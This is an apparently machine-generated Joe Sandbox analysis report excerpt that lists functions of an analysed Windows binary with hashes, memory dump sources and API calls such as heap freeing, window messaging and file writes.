Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 6e5d0adab72ca04e8d6cf36a9acc32d48a513947dd67936ca4a989362654e799
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 49C18B362051A30ADF6D977AC53413EBEA15AA27B131E07BED8B6CB1D4FE20C5249734

Function 00D8EE46 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 006c9d7e21f9037449cca6e888022c4c45a929f4cce47eed0ef72dee8223cc16
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 52C18B362091934ADB6D973AC53423EBFA15AA27B531E077DE4B6CB0C5FE20C5289734

Function 00D7D5E4 Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa81a96771e34a2f1185bb708c58f2bd6fdc0a61f270941e9d7233dfc2109af
Instruction ID: 086723e7e7a2f43a2df10a75b90f29d17d9696728920689c71771e8faa1de5db
Opcode Fuzzy Hash: 1aa81a96771e34a2f1185bb708c58f2bd6fdc0a61f270941e9d7233dfc2109af
Instruction Fuzzy Hash: E9E10279508380CFC744CF69D89086BBFE0AF9A300F49499EF9D597362C235EA15CB62

Function 00D82DB5 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258a2619ca224506e2ce8481b4959e2ad5c6699b1b0424d45743f46b69a4843c
Instruction ID: ceddad99848f5ddb42788543cc949208b0d34b58bb67c5f26ec7f066e205b95d
Opcode Fuzzy Hash: 258a2619ca224506e2ce8481b4959e2ad5c6699b1b0424d45743f46b69a4843c
Instruction Fuzzy Hash: 289144B02043498BD724FF28C895BBE73D5EF90304F14092DFA9A87282EAB5D644C772

Function 00D830E6 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea23a0b5be8d720a81cc3f877502472f5d544f68c9a06fa8112536a0a6d4999
Instruction ID: 947f8079ca3ee8ee398b7836297a56b1839cbb3c3e6c70600108c3a4ae1daa1e
Opcode Fuzzy Hash: 9ea23a0b5be8d720a81cc3f877502472f5d544f68c9a06fa8112536a0a6d4999
Instruction Fuzzy Hash: 977116703043855BDB24FE2CC8D4BBD37D5EB91B04F04492DE9CE8B282DA64DA858776

Function 00D7D1D2 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31a3ad20bdf7c7adb6c38f20c833b99c9169288d8a4d2bc9584846d122bdad2
Instruction ID: a354e845f688785f1b86e38e9b82fa73422a6c81fc3d76f4f0c40fe175476bf1
Opcode Fuzzy Hash: a31a3ad20bdf7c7adb6c38f20c833b99c9169288d8a4d2bc9584846d122bdad2
Instruction Fuzzy Hash: 5281699221A3E4DEC7068F7D38E12A63FA15B77341B1C45EAD4C9C63A3D0368658D732

Function 00D7DBE2 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3036133b6873920d7fc096f064eea942826220dd337e16d39074bf4959c9d45
Instruction ID: e8ed089747fab9a200e7b948e3c55516cbfd8ecef8e2dc235cf87782b5fd5925
Opcode Fuzzy Hash: b3036133b6873920d7fc096f064eea942826220dd337e16d39074bf4959c9d45
Instruction Fuzzy Hash: 6A51B1755083954EC712CF29818046EFFF2AFDA324F59889EE4D94B253E131D68ACB72

Function 00D7EC97 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 712b47844835fa79a0d26d4dc441fcf4e6f233e594f9de3282eb9cd18444a76e
Instruction ID: d3ad05175b3dd82531e37c154815368abcea74fb79c3b11f5a3b49fc7d1110dc
Opcode Fuzzy Hash: 712b47844835fa79a0d26d4dc441fcf4e6f233e594f9de3282eb9cd18444a76e
Instruction Fuzzy Hash: AD512571A083028FC748CF19D48059AF7E1FFC8314F058A2EE899A7741DB34EA59CB96

Function 00D82B3A Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction ID: dedce68b5fcb73180aaf93f4b973d612098d24ae4785eddcdd0178d251750ad2
Opcode Fuzzy Hash: 03d8200d211fb2155360bb18f1da6528e951efe338ec765a37701bdcb59cc893
Instruction Fuzzy Hash: 8A31E1B16047498FCB14EF28C85126EBBE0FB95704F04892DE4DAD7341D679E909CB72

Function 00D75E96 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab80a940478d0eba39db93d925698171b0af4084f0f3b9db70f112b20def3942
Instruction ID: 627dfbedb4b5ff2017f221e7e991ef7f6181940bd6c134e4c8bd0229fb917949
Opcode Fuzzy Hash: ab80a940478d0eba39db93d925698171b0af4084f0f3b9db70f112b20def3942
Instruction Fuzzy Hash: DE219872A202655FCB08CF2DECA44367751AB87311786862FEA46CB395C635E925CBB0

Function 00D9958D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00D995D1

Part of subcall function 00D9916C: _free.LIBCMT ref: 00D99189
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D9919B
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D991AD
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D991BF
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D991D1
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D991E3
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D991F5
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D99207
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D99219
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D9922B
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D9923D
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D9924F
Part of subcall function 00D9916C: _free.LIBCMT ref: 00D99261

_free.LIBCMT ref: 00D995C6

Part of subcall function 00D959C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?), ref: 00D959D8
Part of subcall function 00D959C2: GetLastError.KERNEL32(?,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?,?), ref: 00D959EA

_free.LIBCMT ref: 00D995E8
_free.LIBCMT ref: 00D995FD
_free.LIBCMT ref: 00D99608
_free.LIBCMT ref: 00D9962A
_free.LIBCMT ref: 00D9963D
_free.LIBCMT ref: 00D9964B
_free.LIBCMT ref: 00D99656
_free.LIBCMT ref: 00D9968E
_free.LIBCMT ref: 00D99695
_free.LIBCMT ref: 00D996B2
_free.LIBCMT ref: 00D996CA

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 5d6dbec1ba9e4b0105d689584538fe62ce3cab99dd51fad4d2b93242403b9789
Instruction ID: 201c98bcd07bb35778b4fb0ba4e8d4421ffde59227093624fb8fcba7e6f5573e
Opcode Fuzzy Hash: 5d6dbec1ba9e4b0105d689584538fe62ce3cab99dd51fad4d2b93242403b9789
Instruction Fuzzy Hash: 0E311671604B01EFEF22AA7DE855B5AB3E9EB01320F18842DE499D7195DF35AC80CB30

Function 00D8B8BC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00D8B8DD
GetClassNameW.USER32(00000000,?,00000800), ref: 00D8B90C

Part of subcall function 00D80B12: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00D7AC49,?,?,?,00D7ABF8,?,-00000002,?,00000000,?), ref: 00D80B28

GetWindowLongW.USER32(00000000,000000F0), ref: 00D8B92A
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00D8B941
GetObjectW.GDI32(00000000,00000018,?), ref: 00D8B954

Part of subcall function 00D88B22: GetDC.USER32(00000000), ref: 00D88B2E
Part of subcall function 00D88B22: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D88B3D
Part of subcall function 00D88B22: ReleaseDC.USER32(00000000,00000000), ref: 00D88B4B

Part of subcall function 00D88ADF: GetDC.USER32(00000000), ref: 00D88AEB
Part of subcall function 00D88ADF: GetDeviceCaps.GDI32(00000000,00000058), ref: 00D88AFA
Part of subcall function 00D88ADF: ReleaseDC.USER32(00000000,00000000), ref: 00D88B08

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00D8B97B
DeleteObject.GDI32(00000000), ref: 00D8B982
GetWindow.USER32(00000000,00000002), ref: 00D8B98B

Strings

STATIC, xrefs: 00D8B912

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 1444658586-1882779555
Opcode ID: 43883a43aca56eb2a3b2b36fb149718adf703a7ce84fbadad635202a4fd15914
Instruction ID: bfd6a8feb231fda944cb9cf8a0ce6db5a9fe3f33f412653d00f98daebf6d35be
Opcode Fuzzy Hash: 43883a43aca56eb2a3b2b36fb149718adf703a7ce84fbadad635202a4fd15914
Instruction Fuzzy Hash: B921A1726407247BEB217B68DC4AFAE766CEF05720F044112FA01E6291DB645D419BB6

Function 00D9622B Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D9623F

Part of subcall function 00D959C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?), ref: 00D959D8
Part of subcall function 00D959C2: GetLastError.KERNEL32(?,?,00D99301,?,00000000,?,00000000,?,00D99328,?,00000007,?,?,00D99725,?,?), ref: 00D959EA

_free.LIBCMT ref: 00D9624B
_free.LIBCMT ref: 00D96256
_free.LIBCMT ref: 00D96261
_free.LIBCMT ref: 00D9626C
_free.LIBCMT ref: 00D96277
_free.LIBCMT ref: 00D96282
_free.LIBCMT ref: 00D9628D
_free.LIBCMT ref: 00D96298
_free.LIBCMT ref: 00D962A6

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a9715dc71deee10deec5f78f8ddce51c967e5738496683ab02a4c5a57434eb1c
Instruction ID: b9ca652d8fd4e084b27483672deeb943c3494079a3a3df62fb5fc0309de2f14c
Opcode Fuzzy Hash: a9715dc71deee10deec5f78f8ddce51c967e5738496683ab02a4c5a57434eb1c
Instruction Fuzzy Hash: 27116376610608FFDF02EF55D842CD93BA5FF04360B5145A5BA888B226DB31EA509FA0

Function 00D720E6 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

xc%u, xrefs: 00D7265B
;%u, xrefs: 00D7241B
x%u, xrefs: 00D725FE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: e2f91f3474462e01eeb7feacf37a5dc4a81f35c403c575c8858a6dbb85164c5a
Instruction ID: 8095523de16f01ecfc1b012212a21f71ec41ca60c5d24d2be495d2c19dccafdd
Opcode Fuzzy Hash: e2f91f3474462e01eeb7feacf37a5dc4a81f35c403c575c8858a6dbb85164c5a
Instruction Fuzzy Hash: C2F116716043C05BDB19EB688895BBA7799EF94300F0C846DFC8D9B283FB249944C776

Function 00D9C56D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00D9CCE2,00000000,00000000,00000000,00000000,00000000,00D92C4E), ref: 00D9C5AF
__fassign.LIBCMT ref: 00D9C62A
__fassign.LIBCMT ref: 00D9C645
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00D9C66B
WriteFile.KERNEL32(?,00000000,00000000,00D9CCE2,00000000,?,?,?,?,?,?,?,?,?,00D9CCE2,00000000), ref: 00D9C68A
WriteFile.KERNEL32(?,00000000,00000001,00D9CCE2,00000000,?,?,?,?,?,?,?,?,?,00D9CCE2,00000000), ref: 00D9C6C3

Strings

d0F, xrefs: 00D9C575

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID: d0F
API String ID: 1324828854-1238022483
Opcode ID: 81b9d7fb2a2c6caba45aeeabb3c91c7042ccbdf62f253298c5a1cf398e06094d
Instruction ID: be9ce840c2551188021c6c48a6b1fa1c922c004eed4e980157c6dc673283dabe
Opcode Fuzzy Hash: 81b9d7fb2a2c6caba45aeeabb3c91c7042ccbdf62f253298c5a1cf398e06094d
Instruction Fuzzy Hash: 3C51AEB1A103499FDF10CFA8D885AEEBBF8EF19300F14515AE955E7291E730A940CBB5

Function 00D8995F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

EndDialog.USER32(?,00000001), ref: 00D899AF
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D899DC
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00D899F1
SetWindowTextW.USER32(?,?), ref: 00D89A02
GetDlgItem.USER32(?,00000065), ref: 00D89A0B
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00D89A1F
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00D89A31

Strings

LICENSEDLG, xrefs: 00D89973

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
